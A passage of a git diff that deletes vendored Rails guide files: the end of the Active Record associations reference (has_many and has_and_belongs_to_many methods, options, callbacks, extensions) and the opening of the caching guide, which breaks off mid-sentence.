-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
-
-<ruby>
-@open_orders = @customer.orders.find(:all, :conditions => "open = 1")
-</ruby>
-
-h6. <tt><em>collection</em>.exist?(...)</tt>
-
-The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6. <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-
-The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
-
-<ruby>
-@order = @customer.orders.build(:order_date => Time.now,
-  :order_number => "A12345")
-</ruby>
-
-h6. <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now,
-  :order_number => "A12345")
-</ruby>
-
-h5. Options for +has_many+
-
-In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :dependent => :delete_all, :validate => :false
-end
-</ruby>
-
-The +has_many+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_sql+
-* +:dependent+
-* +:extend+
-* +:finder_sql+
-* +:foreign_key+
-* +:group+
-* +:include+
-* +:limit+
-* +:offset+
-* +:order+
-* +:primary_key+
-* +:readonly+
-* +:select+
-* +:source+
-* +:source_type+
-* +:through+
-* +:uniq+
-* +:validate+
-
-h6. +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6. +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6. +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :class_name => "Transaction"
-end
-</ruby>
-
-h6. +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order",
-    :conditions => "confirmed = 1"
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order",
-    :conditions => { :confirmed => true }
-end
-</ruby>
-
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
-
-h6. +:counter_sql+
-
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
-
-NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-
-h6. +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
-
-NOTE: This option is ignored when you use the +:through+ option on the association.
-
-h6. +:extend+
-
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6. +:finder_sql+
-
-Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-
-h6. +:foreign_key+
-
-By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :foreign_key => "cust_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6. +:group+
-
-The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :line_items, :through => :orders, :group => "orders.id"
-end
-</ruby>
-
-h6. +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-</ruby>
-
-If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :include => :line_items
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-</ruby>
-
-h6. +:limit+
-
-The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :recent_orders, :class_name => "Order",
-    :order => "order_date DESC", :limit => 100
-end
-</ruby>
-
-h6. +:offset+
-
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-
-h6. +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :order => "date_confirmed DESC"
-end
-</ruby>
-
-h6. +:primary_key+
-
-By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6. +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-
-h6. +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-
-h6. +:source+
-
-The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
-
-h6. +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
-
-h6. +:through+
-
-The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
-
-h6. +:uniq+
-
-Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option.
-
-h6. +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5. When are Objects Saved?
-
-When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. +has_and_belongs_to_many+ Association Reference
-
-The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
-
-h5. Methods Added
-
-When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.exist?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {})</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
-
-<ruby>
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-Each instance of the part model will have these methods:
-
-<ruby>
-assemblies(force_reload = false)
-assemblies<<(object, ...)
-assemblies.delete(object, ...)
-assemblies=objects
-assembly_ids
-assembly_ids=ids
-assemblies.clear
-assemblies.empty?
-assemblies.size
-assemblies.find(...)
-assemblies.exist?(...)
-assemblies.build(attributes = {}, ...)
-assemblies.create(attributes = {})
-</ruby>
-
-h6. Additional Column Methods
-
-If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
-
-WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
-
-
-h6. <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@assemblies = @part.assemblies
-</ruby>
-
-h6. <tt><em>collection</em><<(object, ...)</tt>
-
-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
-
-<ruby>
-@part.assemblies << @assembly1
-</ruby>
-
-NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
-
-h6. <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
-
-<ruby>
-@part.assemblies.delete(@assembly1)
-</ruby>
-
-h6. <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6. <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@assembly_ids = @part.assembly_ids
-</ruby>
-
-h6. <tt><em>collection_singular</em>_ids=ids</tt>
-
-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6. <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
-
-h6. <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @part.assemblies.empty? %>
-  This part is not used in any assemblies
-<% end %>
-</ruby>
-
-h6. <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@assembly_count = @part.assemblies.size
-</ruby>
-
-h6. <tt><em>collection</em>.find(...)</tt>
-
-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
-
-<ruby>
-@new_assemblies = @part.assemblies.find(:all,
-  :conditions => ["created_at > ?", 2.days.ago])
-</ruby>
-
-h6. <tt><em>collection</em>.exist?(...)</tt>
-
-The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6. <tt><em>collection</em>.build(attributes = {})</tt>
-
-The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
-
-<ruby>
-@assembly = @part.assemblies.build(
-  {:assembly_name => "Transmission housing"})
-</ruby>
-
-h6. <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
-
-<ruby>
-@assembly = @part.assemblies.create(
-  {:assembly_name => "Transmission housing"})
-</ruby>
-
-h5. Options for +has_and_belongs_to_many+
-
-In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :uniq => true,
-    :read_only => true
-end
-</ruby>
-
-The +has_and_belongs_to_many+ association supports these options:
-
-* +:association_foreign_key+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_sql+
-* +:delete_sql+
-* +:extend+
-* +:finder_sql+
-* +:foreign_key+
-* +:group+
-* +:include+
-* +:insert_sql+
-* +:join_table+
-* +:limit+
-* +:offset+
-* +:order+
-* +:readonly+
-* +:select+
-* +:uniq+
-* +:validate+
-
-h6. +:association_foreign_key+
-
-By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
-
-TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User",
-    :foreign_key => "this_user_id",
-    :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6. +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6. +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :class_name => "Gadget"
-end
-</ruby>
-
-h6. +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies,
-    :conditions => "factory = 'Seattle'"
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies,
-    :conditions => { :factory => 'Seattle' }
-end
-</ruby>
-
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
-
-h6. +:counter_sql+
-
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
-
-NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-
-h6. +:delete_sql+
-
-Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
-
-h6. +:extend+
-
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6. +:finder_sql+
-
-Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-
-h6. +:foreign_key+
-
-By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User",
-    :foreign_key => "this_user_id",
-    :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6. +:group+
-
-The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :group => "factory"
-end
-</ruby>
-
-h6. +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used.
-
-h6. +:insert_sql+
-
-Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
-
-h6. +:join_table+
-
-If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
-
-h6. +:limit+
-
-The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "created_at DESC",
-    :limit => 50
-end
-</ruby>
-
-h6. +:offset+
-
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-
-h6. +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
-
-<ruby>
-class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
-end
-</ruby>
-
-h6. +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-
-h6. +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-h6. +:uniq+
-
-Specify the +:uniq => true+ option to remove duplicates from the collection.
-
-h6. +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5. When are Objects Saved?
-
-When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. Association Callbacks
-
-Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
-
-Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:
-
-* +before_add+
-* +after_add+
-* +before_remove+
-* +after_remove+
-
-You define association callbacks by adding options to the association declaration. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :before_add => :check_credit_limit
-
-  def check_credit_limit(order)
-    ...
-  end
-end
-</ruby>
-
-Rails passes the object being added or removed to the callback.
-
-You can stack callbacks on a single event by passing them as an array:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders,
-    :before_add => [:check_credit_limit, :calculate_shipping_charges]
-
-  def check_credit_limit(order)
-    ...
-  end
-
-  def calculate_shipping_charges(order)
-    ...
-  end
-end
-</ruby>
-
-If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
-
-h4. Association Extensions
-
-You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders do
-    def find_by_order_prefix(order_number)
-      find_by_region_id(order_number[0..2])
-    end
-  end
-end
-</ruby>
-
-If you have an extension that should be shared by many associations, you can use a named extension module. For example:
-
-<ruby>
-module FindRecentExtension
-  def find_recent
-    find(:all, :conditions => ["created_at > ?", 5.days.ago])
-  end
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders, :extend => FindRecentExtension
-end
-
-class Supplier < ActiveRecord::Base
-  has_many :deliveries, :extend => FindRecentExtension
-end
-</ruby>
-
-To include more than one extension module in a single association, specify an array of modules:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders,
-    :extend => [FindRecentExtension, FindActiveExtension]
-end
-</ruby>
-
-Extensions can refer to the internals of the association proxy using these three accessors:
-
-* +proxy_owner+ returns the object that the association is a part of.
-* +proxy_reflection+ returns the reflection object that describes the association.
-* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11
-
-* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy
-* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version.
-* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
diff --git a/vendor/rails/railties/guides/source/caching_with_rails.textile b/vendor/rails/railties/guides/source/caching_with_rails.textile
deleted file mode 100644
index 5c555382..00000000
--- a/vendor/rails/railties/guides/source/caching_with_rails.textile
+++ /dev/null
@@ -1,524 +0,0 @@
-h2. Caching with Rails: An overview
-
-Everyone caches. This guide will teach you what you need to know about
-avoiding that expensive round-trip to your database and returning what you
-need to return to those hungry web clients in the shortest time possible.
-
-After reading this guide, you should be able to use and configure:
-
-* Page, action, and fragment caching
-* Sweepers
-* Alternative cache stores
-* Conditional GET support
-
-endprologue.
-
-h3. Basic Caching
-
-This is an introduction to the three types of caching techniques that Rails
-provides by default without the use of any third party plugins.
-
-To get started make sure +config.action_controller.perform_caching+ is set
-to +true+ for your environment. This flag is normally set in the
-corresponding config/environments/*.rb. By default, caching is disabled for development and test, and enabled for production.
-
-<ruby>
-config.action_controller.perform_caching = true
-</ruby>
-
-h4. Page Caching
-
-Page caching is a Rails mechanism which allows the request for a generated
-page to be fulfilled by the webserver, without ever having to go through the
-Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
-applied to every situation (such as pages that need authentication) and since
-the webserver is literally just serving a file from the filesystem, cache
-expiration is an issue that needs to be dealt with.
-
-So, how do you enable this super-fast cache behavior? Suppose you
-have a controller called +ProductsController+ and an +index+ action that lists all
-the products. You could enable caching for this action like this:
-
-<ruby>
-class ProductsController < ActionController
-
-  caches_page :index
-
-  def index; end
-
-end
-</ruby>
-
-The first time anyone requests products/index, Rails will generate a file
-called +index.html+. If a web server see this file, it will be served in response to the
-next request for products/index, without your Rails application being called.
-
-By default, the page cache directory is set to Rails.public_path (which is
-usually set to +File.join(self.root, "public")+ - that is, the public directory under your Rails application's root). This can be configured by
-changing the configuration setting +config.action_controller.page_cache_directory+.
-Changing the default from /public helps avoid naming conflicts, since you may
-want to put other static html in /public, but changing this will require web
-server reconfiguration to let the web server know where to serve the cached
-files from.
-
-The page caching mechanism will automatically add a +.html+ extension to
-requests for pages that do not have an extension to make it easy for the
-webserver to find those pages. This can be configured by changing the
-configuration setting +config.action_controller.page_cache_extension+.
-
-In order to expire this page when a new product is added you could extend the products controller like this:
-
-<ruby>
-class ProductsController < ActionController
-
-  caches_page :index
-
-  def index; end
-
-  def create
-    expire_page :action => :index
-  end
-
-end
-</ruby>
-
-If you want a more complicated expiration scheme, you can use cache sweepers
-to expire cached objects when things change. This is covered in the section on Sweepers.
-
-Note: Page caching ignores all parameters, so /products/list?page=1 will be written out to the filesystem as /products/list.html and if someone requests /products/list?page=2, they will be returned the same result as page=1. Be careful when page caching GET parameters in the URL!
-
-h4. Action Caching
-
-One of the issues with page caching is that you cannot use it for pages that
-require checking code to determine whether the user should be permitted access. This is where Action Caching comes in.
-action caching works like page caching except for the fact that the incoming
-web request does go from the web server to the Rails stack and Action Pack so
-that before filters can be run on it before the cache is served. This allows you to use
-authentication and other restrictions while still serving the
-result of the output from a cached copy.
-
-Clearing the cache works in the exact same way as with page caching.
-
-Let's say you only wanted authenticated users to edit or create a Product
-object, but still cache those pages:
-
-<ruby>
-class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :index
-  caches_action :edit
-
-  def index; end
-
-  def create
-    expire_page :action => :index
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
-</ruby>
-
-You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the
-action should be cached. Also, you can use +:layout => false+ to cache without
-layout so that dynamic information in the layout such as the name of the logged-in user
-or the number of items in the cart can be left uncached. This feature is
-available as of Rails 2.2.
-
-You can modify the default action cache path by passing a +:cache_path+ option.
-This will be passed directly to +ActionCachePath.path_for+.  This is handy for
-actions with multiple possible routes that should be cached differently.  If
-a block is given, it is called with the current controller instance.  
-
-Finally, if you are using memcached, you can also pass +:expires_in+. In fact,
-all parameters not used by +caches_action+ are sent to the underlying cache
-store. 
-
-h4. Fragment Caching
-
-Life would be perfect if we could get away with caching the entire contents of
-a page or action and serving it out to the world. Unfortunately, dynamic web
-applications usually build pages with a variety of components not all of which
-have the same caching characteristics. In order to address such a dynamically
-created page where different parts of the page need to be cached and expired
-differently Rails provides a mechanism called Fragment Caching.
-
-Fragment Caching allows a fragment of view logic to be wrapped in a cache
-block and served out of the cache store when the next request comes in.
-
-As an example, if you wanted to show all the orders placed on your website
-in real time and didn't want to cache that part  of the page, but did want
-to cache the part of the page which lists all products available, you
-could use this piece of code:
-
-<ruby>
-<% Order.find_recent.each do |o| %>
-  <%= o.buyer.name %> bought <% o.product.name %>
-<% end %>
-
-<% cache do %>
-  All available products:
-  <% Product.find(:all).each do |p| %>
-    <%= link_to p.name, product_url(p) %>
-  <% end %>
-<% end %>
-</ruby>
-
-The cache block in our example will bind to the action that called it and is
-written out to the same place as the action cache, which means that if you
-want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
-
-<ruby>
-<% cache(:action => 'recent', :action_suffix => 'all_prods') do %>
-  All available products:
-</ruby>
-
-You can expire the cache using the +expire_fragment+ method, like so:
-
-<ruby>
-expire_fragment(:controller => 'products', :action => 'recent', 
-  :action_suffix => 'all_prods)
-</ruby>
-
-If you don't want the cache block to bind to the action that called it, you can
-also use globally keyed fragments. To do this, call the +cache+ method with a key, like
-so:
-
-<ruby>
-<% cache(:key => 
-  ['all_available_products', @latest_product.created_at].join(':')) do %>
-  All available products:
-<% end %>
-</ruby>
-
-This fragment is then available to all actions in the +ProductsController+ using
-the key and can be expired the same way:
-
-<ruby>
-expire_fragment(:key => 
-  ['all_available_products', @latest_product.created_at].join(':'))
-</ruby>
-
-h4. Sweepers
-
-Cache sweeping is a mechanism which allows you to get around having a ton of
-+expire_{page,action,fragment}+ calls in your code. It does this by moving all the work
-required to expire cached content into na +ActionController::Caching::Sweeper+
-class. This class is an Observer that looks for changes to an object via callbacks,
-and when a change occurs it expires the caches associated with that object in
-an around or after filter.
-
-Continuing with our Product controller example, we could rewrite it with a
-sweeper like this:
-
-<ruby>
-class StoreSweeper < ActionController::Caching::Sweeper
-  # This sweeper is going to keep an eye on the Product model
-  observe Product
-
-  # If our sweeper detects that a Product was created call this
-  def after_create(product)
-          expire_cache_for(product)
-  end
-
-  # If our sweeper detects that a Product was updated call this
-  def after_update(product)
-          expire_cache_for(product)
-  end
-
-  # If our sweeper detects that a Product was deleted call this
-  def after_destroy(product)
-          expire_cache_for(product)
-  end
-
-  private
-  def expire_cache_for(record)
-    # Expire the list page now that we added a new product
-    expire_page(:controller => '#{record}', :action => 'list')
-
-    # Expire a fragment
-    expire_fragment(:controller => '#{record}', 
-      :action => 'recent', :action_suffix => 'all_products')
-  end
-end
-</ruby>
-
-The sweeper has to be added to the controller that will use it. So, if we wanted to expire the cached content for the
-list and edit actions when the create action was called, we could do the
-following:
-
-<ruby>
-class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-  cache_sweeper :store_sweeper, :only => [ :create ]
-
-  def list; end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
-</ruby>
-
-h4. SQL Caching
-
-Query caching is a Rails feature that caches the result set returned by each
-query. If Rails encounters the same query again during the current request, it
-will used the cached result set as opposed to running the query against the
-database.
-
-For example:
-
-<ruby>
-class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-  cache_sweeper :store_sweeper, :only => [ :create ]
-
-  def list
-    # Run a find query
-    Product.find(:all)
-
-    ...
-
-    # Run the same query again
-    Product.find(:all)
-  end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
-</ruby>
-
-In the 'list' action above, the result set returned by the first
-Product.find(:all) will be cached and will be used to avoid querying the
-database again the second time that finder is called.
-
-Query caches are created at the start of an action and destroyed at the end of
-that action and thus persist only for the duration of the action.
-
-h4. Cache Stores
-
-Rails (as of 2.1) provides different stores for the cached data created by action and
-fragment caches. Page caches are always stored on disk.
-
-Rails 2.1 and above provide ActiveSupport::Cache::Store which can be used to
